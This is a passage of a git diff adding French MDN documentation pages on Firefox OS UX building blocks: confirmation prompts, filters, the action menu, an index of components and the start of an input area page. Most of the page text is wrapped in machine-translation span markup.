+<p><span id="result_box" lang="fr"><span class="hps">Il y a quelques</span> <span class="hps">variantes sur le</span> <span class="hps">plan</span> <span class="hps">des</span> <span class="hps">invites de confirmation</span><span>,</span> <span class="hps">comme vous l'avez vu</span> <span class="hps">ci-dessus.</span> <span class="hps">Les</span> <span class="hps">maquettes</span> <span class="hps">simplifiées</span> <span class="hps">ci-dessous</span> <span class="hps">aident à clarifier</span> <span class="hps">les composants de l'invite de confirmation</span><span>,</span> <span class="hps">et montrent que</span> <span class="hps">vous</span> <span class="hps">avez le contrôle sur</span> <span class="hps">la mise en page</span> <span class="hps">du contenu.</span></span></p>
+<table class="fxosScreenGrid">
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">
+    <h3 id="Invite_de_permission">Invite de permission</h3>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4813/confirm-prompt-permissions.png" style="width: 376px; height: 578px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps atn">Ici, l'</span><span>icône et le titre</span> <span class="hps">sont utilisés pour identifier</span> <span class="hps">l'application</span> qui <span class="hps">demande l'autorisation</span><span>,</span> <span class="hps">et le genre de permission demandé</span><span>.</span></span></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Le texte du corps du document</span> <span class="hps">doit</span> <span class="hps">aller plus en détail</span> <span class="hps">sur ce que</span> <span class="hps">l'octroi de</span> <span class="hps">cette autorisation</span> <span class="hps">signifie.</span></span></p>
+   </td>
+   <td style="vertical-align: top;">
+    <h3 id="Invite_de_confirmation_d'action">Invite de confirmation d'action</h3>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4819/confirm-prompt-action-confirm.png" style="width: 327px; height: 578px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Ce message</span> <span class="hps">simple</span> <span class="hps">confirmation</span> <span class="hps">d'action</span> <span class="hps">pose une question</span> <span class="hps">simple,</span> <span class="hps">et ne</span> <span class="hps">dispose pas d'un</span> <span class="hps">titre</span><span>.</span></span></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <h3 id="Invite_de_confirmation_d'action_2">Invite de confirmation d'action</h3>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4817/confirm-prompt-action-confirm-2.png" style="width: 329px; height: 578px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Cet invite</span> <span class="hps">de confirmation</span> <span class="hps">d'action</span> <span class="hps">un peu plus complexe</span> <span class="hps">ajoute une icône</span> <span class="hps">et un titre.</span></span></p>
+   </td>
+   <td style="vertical-align: top;"> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Interaction">Interaction</h2>
+<h4 id="Supprimer_des_messages">Supprimer des  messages</h4>
+<p><span id="result_box" lang="fr"><span class="hps">Dans cet exemple</span><span>, une </span>invite <span class="hps">de confirmation</span> <span class="hps">est utilisée pour</span> <span class="hps">demander à l'utilisateur</span> <span class="hps">s'</span><span class="hps">il</span> est<span class="hps"> certain de vouloir</span> <span class="hps">supprimer</span> <span class="hps">les messages sélectionnés</span> <span class="hps">à partir d'une</span> <span class="hps">liste</span> <span class="hps">de courriels</span><span>.</span> <span class="hps">Appuyer sur le bouton</span> <span class="hps">« Supprimer »</span> <span class="hps">affiche l'invite </span><span>;</span> <span class="hps">la suppression</span> <span class="hps">se produit uniquement si</span> <span class="hps">l'utilisateur appuie sur</span> <span class="hps">le bouton « Supprimer » dans l'invite</span><span class="hps"> de confirmation</span><span>.</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4821/confirm-delete-messages.png" style="width: 739px; height: 1200px;"></p>
+<h3 id="Confirmer_une_demande_de_permission">Confirmer une demande de permission</h3>
+<p><span id="result_box" lang="fr"><span class="hps">Dans cet exemple,</span> <span class="hps">l'utilisateur ouvre</span> <span class="hps">pour la première fois</span> <span class="hps">une application qui</span> <span class="hps">a besoin de</span> <span class="hps">l'autorisation d'utiliser</span> <span class="hps">le</span> <span class="hps">service de <a href="/fr/docs/Using_geolocation">géolocalisation</a></span><span>.</span> Comme<span class="hps atn"> l'</span><span>application nécessite</span> <span class="hps">l'autorisation</span> <span class="hps">pour fonctionner</span><span>, il demande</span> <span class="hps">immédiatement</span> <span class="hps">l'autorisation d'utiliser</span> <span class="hps">le</span> <span class="hps">service de localisation</span><span>.</span> <span class="hps">Lorsque</span> <span class="hps">l'utilisateur ferme</span> <span class="hps">l'invite</span> <span class="hps">en tapant</span> <span class="hps">soit</span> « <span class="hps">Ne pas autoriser »</span> <span class="hps atn">(</span><span>qui</span> <span class="hps">refuse l'autorisation</span> <span class="hps">d'utiliser</span> <span class="hps">la géolocalisation</span><span>)</span> <span class="hps">soit « </span><span class="hps">Autoriser »</span> <span class="hps atn">(</span><span>qui</span> <span class="hps">accorde la permission</span><span>)</span><span>, le message</span> <span class="hps">de confirmation</span> <span class="hps">se ferme et</span> <span class="hps atn">le choix de l'</span><span>utilisateur</span> <span class="hps">prend effet</span></span>.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4823/confirm-permission.png"></p>
+<p><span id="result_box" lang="fr"><span class="hps">Notez que cet exemple</span> <span class="hps">comporte une</span> <span class="hps">case à cocher dans</span> <span class="hps">l'invite de confirmation</span> <span class="hps">pour enregistrer le choix de l'utilisateur</span> <span class="hps">afin que celui-ci</span> <span class="hps">ne soit pas</span> <span class="hps">demandé</span> <span class="hps">à nouveau</span> ultérieurement.</span></p>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation/Coding">Confirmation coding guide</a></li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">Firefox OS user experience</a></li>
+</ul>
diff --git a/files/fr/web/apps/design/building_blocks/filtre/index.html b/files/fr/web/apps/design/building_blocks/filtre/index.html
new file mode 100644
index 0000000000..91df36efa2
--- /dev/null
+++ b/files/fr/web/apps/design/building_blocks/filtre/index.html
@@ -0,0 +1,49 @@
+---
+title: Filtre
+slug: Web/Apps/Design/Building_Blocks/Filtre
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x/Filter
+---
+<p><span id="result_box" lang="fr"><span class="hps">Les filtres peuvent être</span> <span class="hps">utilisés pour deux usages </span><span>:</span> </span></p>
+<ol>
+ <li><span lang="fr">le <span class="hps">filtrage,</span> <span class="hps">dans lequel</span> <span class="hps">l'utilisateur peut visualiser</span> <span class="hps">un ensemble unique de</span> <span class="hps">données</span> <span class="hps atn">de différentes manières. P</span><span>ar exemple</span><span>,</span> <span class="hps atn">l'</span><span>application Calendrier</span> <span class="hps">utilise des filtres</span> <span class="hps">pour sélectionner l'échelle</span> <span class="hps">de</span> <span class="hps">temps utilisée</span><span class="hps"> de la visualisation</span> <span class="hps">de données</span><span class="hps atn"> (</span><span>qui</span> <span class="hps">est</span><span> de jour</span><span class="hps">, semaine ou</span> <span class="hps">mois</span><span>) ; </span></span></li>
+ <li><span lang="fr"><span class="hps atn">la navigation (</span><span>présentation d'un</span> <span class="hps">second</span> <span class="hps">ensemble d'onglets</span> <span class="hps">lorsque</span> <span class="hps">des onglets</span> <span class="hps">sont déjà présents dans</span> <span class="hps">votre</span> <span class="hps">interface utilisateur</span><span>)</span><span>.</span></span></li>
+</ol>
+<p>Consultez le <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Filter/Coding">Guide de codage</a> pour la façon de mettre en œuvre les filtres dans votre application.</p>
+<h2 id="Caractéristiques">Caractéristiques</h2>
+<ul>
+ <li><span id="result_box" lang="fr"><span class="hps">Les filtres sont</span> <span class="hps">présentés comme</span> <span class="hps">une séquence</span> <span class="hps">horizontale</span> <span class="hps">de boutons.</span></span></li>
+ <li><span class="short_text" id="result_box" lang="fr"><span class="hps">Un seul bouton</span> <span class="hps">est sélectionné</span> <span class="hps">à la fois.</span></span></li>
+ <li><span id="result_box" lang="fr"><span class="hps">La</span> <span class="hps">meilleure pratique consiste à</span> <span class="hps">placer des filtres</span> <span class="hps">dans</span> une<span class="hps"> <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Toolbar">barre d'outils</a></span><span>,</span> <span class="hps">afin qu'ils</span> <span class="hps">ne se mélangent pas</span> <span class="hps">avec le contenu.</span></span></li>
+ <li><span id="result_box" lang="fr"><span class="hps">Les boutons gauches</span><span>,</span> </span><span id="result_box" lang="fr"><span class="hps">droits et</span></span><span id="result_box" lang="fr"><span class="hps"> centraux </span><span class="hps">peuvent être décorés</span> <span class="hps">de façon différente.</span> <span class="hps">Cela</span> <span class="hps">vous permet par exemple de faire</span><span> en sorte que les extrémités</span> <span class="hps">gauches et droites de</span> <span class="hps">votre barre</span> <span class="hps">prenenent un</span> <span class="hps atn">«</span><span>éclat</span><span>», ou</span> <span class="hps">de faire</span> <span class="hps">la barre</span> <span class="hps">arrondies</span> <span class="hps">aux extrémités</span><span>.</span></span></li>
+ <li><span id="result_box" lang="fr"><span class="hps">Les</span> <span class="hps">largeurs</span> <span class="hps">de</span> <span class="hps">boutons</span> <span class="hps alt-edited">de filtre</span> <span class="hps">varient</span> <span class="hps">en fonction du nombre</span> <span class="hps">de filtres dans</span> <span class="hps">un seul ensemble</span><span>.</span></span></li>
+ <li><span id="result_box" lang="fr"><span class="hps">Vous devez avoir au</span> <span class="hps">moins deux</span> <span class="hps">et</span> <span class="hps">pas plus de cinq</span> <span class="hps">filtres dans</span> <span class="hps">un ensemble</span><span>.</span></span></li>
+ <li><span id="result_box" lang="fr"><span class="hps">Une</span> <span class="hps">série de filtres</span> <span class="hps">peut être marqué avec</span> <span class="hps">du texte ou des</span> <span class="hps">icônes</span><span>,</span> <span class="hps">mais pas les deux</span><span>.</span> <span class="hps">Parce que les</span> <span class="hps">hauteurs</span> <span class="hps">de</span> <span class="hps">filtres</span> <span class="hps">sont relativement faibles</span> <span class="hps">par rapport à</span> <span class="hps">onglets</span><span>, le texte est</span> <span class="hps">généralement la meilleure</span> solution<span>.</span></span></li>
+</ul>
+<h2 id="Captures_d'écran">Captures d'écran</h2>
+<table class="fxosScreenGrid">
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">
+    <h3 id="Filtres_au_somment">Filtres au somment</h3>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4827/filter-visual-top" style="width: 320px; height: 480px;"></p>
+   </td>
+   <td style="vertical-align: top;">
+    <h3 id="Filtres_au_fond">Filtres au fond</h3>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4829/filter-visual-bottom" style="width: 322px; height: 482px;"></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Variations">Variations</h2>
+<p><span id="result_box" lang="fr"><span class="hps">Il ya seulement deux</span> <span class="hps">variations</span><span>:</span> <span class="hps">si les</span> <span class="hps">filtres sont</span> <span class="hps">au sommet ou au fond</span><span class="hps">.</span></span></p>
+<h3 id="Filtres_au_sommet">Filtres au sommet</h3>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4831/filters-variation-top.png" style="width: 320px; height: 93px;"></p>
+<h3 id="Filtres_au_fond_2">Filtres au fond</h3>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4833/filters-variation-bottom.png" style="width: 320px; height: 92px;"></p>
+<h2 id="Interaction">Interaction</h2>
+<p><span id="result_box" lang="fr"><span class="hps">Taper sur</span> <span class="hps">un</span> <span class="hps">bouton du filtre change</span><span class="hps"> immédiatement</span> <span class="hps">la vue affichée</span> <span class="hps">pour représenter</span> <span class="hps">le nouveau contenu.</span></span></p>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Filter/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Filter/Coding">Filter coding guide</a></li>
+ <li><a href="/fr/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">Expérience utilisateur de Firefox OS</a></li>
+</ul>
diff --git a/files/fr/web/apps/design/building_blocks/index.html b/files/fr/web/apps/design/building_blocks/index.html
new file mode 100644
index 0000000000..f652943f31
--- /dev/null
+++ b/files/fr/web/apps/design/building_blocks/index.html
@@ -0,0 +1,268 @@
+---
+title: Open Web App UX building blocks
+slug: Web/Apps/Design/Building_Blocks
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x
+---
+<p><span id="result_box" lang="fr"><span class="hps">Vous trouverez ici</span> <span class="hps">une description des</span> <span class="hps">éléments de l'interface</span> <span class="hps">utilisateur commune aux applications</span><span id="result_box" lang="fr"><span class="hps"> </span></span><span class="hps">Open Web</span> dont l'interface est destinée aux petits écrans  <span class="hps">— comme les</span> <span class="hps">applications</span> <span class="hps">Firefox</span> </span><span id="result_box" lang="fr"><span class="hps">OS</span></span><span id="result_box" lang="fr"><span class="hps"> — </span><span class="hps">avec des exemples montrant leur aspect et leurs fonctions</span><span>.</span> <span class="hps">Notez que les</span> <span class="hps">exemples particuliers</span> <span class="hps">que vous trouverez dans</span> <span class="hps">cette</span> <span class="hps">section ont été rédigés</span> <span class="hps">conformément aux lignes directrices</span> <span class="hps">de conception de</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>, mais ils</span> <span class="hps">doivent</span> <span class="hps">vous fournir des informations utiles,</span> <span class="hps">quel que soit le type d'aide que vous recherchez</span><span class="hps"> pour</span> <span class="hps">votre</span> <span class="hps">projet.</span></span></p>
+
+<table class="withoutBorder">
+ <tbody>
+  <tr>
+   <td colspan="2">
+    <h2 id="Menu_action">Menu action</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top; width: 180px;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4635/action-menu.png" style="height: 240px; width: 160px;"><br>
+      <a href="/fr/docs/Web/Apps/Design/Building_Blocks/menu_action">Détails</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Bouton">Bouton</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4639/secondary-buttons.png" style="height: 139px; width: 140px;"></p>
+
+    <p style="text-align: center;"><a href="/fr/docs/Mozilla/Firefox_OS/UX/Building_blocks/Buton">Détails</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Confirmation">Confirmation</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4803/confirmation-example.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/fr/docs/Web/Apps/Design/Building_Blocks/Confirmation">Détails</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation/Coding">Coding guide</a><br>
+      </p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Filtre">Filtre</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4825/filter-visual-bottom" style="height: 241px; width: 161px;"></p>
+
+    <p style="text-align: center;"><a href="/fr/docs/Web/Apps/Design/Building_Blocks/Filtre">Détails</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Filter/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Entête">Entête</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4845/header-default.png" style="height: 27px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Header">Details</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Header/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Zone_de_saisie"><span class="short_text" id="result_box" lang="fr"><span class="hps">Zone</span> <span class="alt-edited hps">de saisie</span></span></h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4859/sample-sms-bottom-input.png" style="height: 241px; width: 161px;"></p>
+
+    <p style="text-align: center;"><a href="/fr/docs/Web/Apps/Design/Building_Blocks/zone_saisie">Détails</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Input_area/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Listes">Listes</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4889/list-example" style="height: 119px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/List">Details</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/List/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Object_menu">Object menu</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4891/object-menu-idle.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Object_menu">Details</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Indicateur_de_progression_et_d'activité">Indicateur de progression et d'activité</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4897/progress-bar-example.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Progress_and_activity">Details</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Progress_and_activity/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Défilement">Défilement</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4917/scrolling-index-scroll-dark.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Scrolling">Details</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Scrolling/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Barre_de_réglage">Barre de réglage</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4923/seekbar-sample.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Seek_bar">Details</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Seek_bar/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <h2 id="Statut">Statut</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4637/banner.png" style="height: 240px; width: 160px;"><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Status">Details</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Status/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Switch">Switch</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4925/switch-settings-sample.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Switch">Details</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Switch/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Onglets">Onglets</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4955/tab-screenshot.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Tabs">Details</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Tabs/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Barre_d'outils">Barre d'outils</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4967/toolbar-sample.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Toolbar">Details</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Toolbar/Coding">Coding guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Sélecteur_de_valeur">Sélecteur de valeur</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4975/selector-nested.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Value_selector">Details</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Value_selector/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Value_selector/Coding">Coding Guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/fr/web/apps/design/building_blocks/menu_action/index.html b/files/fr/web/apps/design/building_blocks/menu_action/index.html
new file mode 100644
index 0000000000..707a1ae49d
--- /dev/null
+++ b/files/fr/web/apps/design/building_blocks/menu_action/index.html
@@ -0,0 +1,46 @@
+---
+title: Menu action
+slug: Web/Apps/Design/Building_Blocks/menu_action
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x/Action_menu
+---
+<p><span id="result_box" lang="fr"><span class="hps atn">Un menu Action</span><span> présente</span> <span class="hps">une liste d'élémenst</span><span>,</span> <span class="hps">liée</span> <span class="hps">au contenu de</span> <span class="hps">l'application,</span> <span class="hps">à partir de</span> <span class="hps">laquelle l'utilisateur peut</span> <span class="hps">faire une sélection.</span> <span class="hps">Consultez le guide</span> <span class="hps">de codage</span> <span class="hps">pour plus de détails</span> <span class="hps">sur la façon de</span> <span class="hps">mettre en place un</span> <span class="hps">menu d'action</span> <span class="hps">dans votre application</span><span>.</span></span></p>
+<h2 id="Caractéristiques">Caractéristiques</h2>
+<ul>
+  <li><span id="result_box" lang="fr"><span class="hps">Ouvert</span> <span class="hps">à partir de</span> <span class="hps">boutons</span> <span class="hps">dans le contenu</span> <span class="hps">de l'application</span><span>,</span> <span class="hps">ces</span> <span class="hps">boutons sont</span> <span class="hps">souvent à l'intérieur</span> <span class="hps">des barres d'outils</span> <span class="hps atn">(</span><span>par exemple</span><span>, le bouton</span> <span class="hps">"Partager"</span> <span class="hps">du Navigateur</span><span class="hps">)</span><span>.</span></span></li>
+  <li><span id="result_box" lang="fr"><span class="hps">Les menus</span> <span class="hps">d'action</span> <span class="hps">contiennent</span> <span class="hps">un ou plusieurs éléments</span><span>.</span></span></li>
+  <li><span id="result_box" lang="fr"><span class="hps">Ces</span> <span class="hps">menus</span> se <span class="hps">développent</span> <span class="hps">en hauteur pour</span> <span class="hps">accueillir</span> <span class="hps">leurs articles,</span> <span class="hps">à un maximum de</span> <span class="hps atn">la hauteur de l'</span><span>écran</span><span>.</span> <span class="hps">Une fois</span> <span class="hps">que la hauteur</span> <span class="hps">maximale</span> <span class="hps">est atteinte, le</span> <span class="hps">contenu défile</span> <span class="hps">verticalement</span><span>.</span> <span class="hps">Généralement, la meilleure</span> <span class="hps">pratique</span> <span class="hps">consiste à essayer de</span> <span class="hps">ne comprendre</span> <span class="hps">pas plus de cinq</span> éléments<span>, plus</span> <span class="hps">un titre de menu</span><span>.</span></span></li>
+  <li>Le titre du menu est optionnel.</li>
+  <li>Le menu se ferme si :
+    <ul>
+      <li>Un des élément est sélectionné.</li>
+      <li>Le bouton "annulé" est touché.</li>
+    </ul>
+  </li>
+</ul>
+<h2 id="Captures_d'écran">Captures d'écran</h2>
+<table class="fxosScreenGrid">
+  <tbody>
+    <tr>
+      <td>
+        <h3 id="État_neutre">État neutre</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4641/action-menu-idle.png" style="width: 320px; height: 480px;"></p>
+        <p>Le menu Action ouvert attendant la sélection de l'utilisateur.</p>
+      </td>
+      <td>
+        <h3 id="État_appuyé">État appuyé</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4635/action-menu.png" style="width: 320px; height: 480px;"></p>
+        <p>L'apparence du menu quand l'utilisateur touche le boutton "Option 3"</p>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Variations">Variations</h2>
+<p><span id="result_box" lang="fr"><span class="hps">Il existe deux variantes</span> <span class="hps">de base sur</span> <span class="hps">le menu Action </span><span>:</span> <span class="hps">si le</span> <span class="hps">menu a</span> <span class="hps">une chaîne de</span> <span class="hps">titre en haut</span><span> ou non.</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4645/action-menu-variations.jpg" style="width: 1023px; height: 532px;"></p>
+<h2 id="Interaction">Interaction</h2>
+<p>Ce diagramme montre comment l'utilisateur interagit avec le menu action.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4649/action-menu-flow-1.png" style="width: 731px; height: 1169px;"></p>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Action menu coding guide</a></li>
+</ul>
diff --git a/files/fr/web/apps/design/building_blocks/zone_saisie/index.html b/files/fr/web/apps/design/building_blocks/zone_saisie/index.html
new file mode 100644
index 0000000000..666da829a2
--- /dev/null
+++ b/files/fr/web/apps/design/building_blocks/zone_saisie/index.html
@@ -0,0 +1,141 @@
+---
+title: Zone de saisie
+slug: Web/Apps/Design/Building_Blocks/zone_saisie
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x/Input_area
+---
+<p><span id="result_box" lang="fr"><span class="hps">Une zone</span> <span class="hps">de saisie est un</span> <span class="hps">champ d'entrée de</span> <span class="hps">données</span><span>.</span> <span class="hps">Il peut y avoir beaucoup de</span> <span class="hps">variations sur</span> <span class="hps">ce à quoi une zone de saisie</span><span class="hps"> peut</span> <span class="hps">ressembler</span><span>, elles peuvent être</span> <span class="hps atn">aussi simple que d'</span><span>un champ</span> <span class="hps">de saisie de texte</span><span>,</span> <span class="hps">et</span> <span class="hps">aussi complexe qu'un</span> <span class="hps">champ de saisie</span> <span class="hps atn">multi-</span><span>partie</span> <span class="hps">avec</span> <span class="hps">une entrée de texte</span><span>, des sélecteurs de</span> <span class="hps">valeur</span> <span class="hps">et des boutons</span><span>.</span> <span class="hps">Consultez le <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Input_area/Coding">Guide</a></span><a 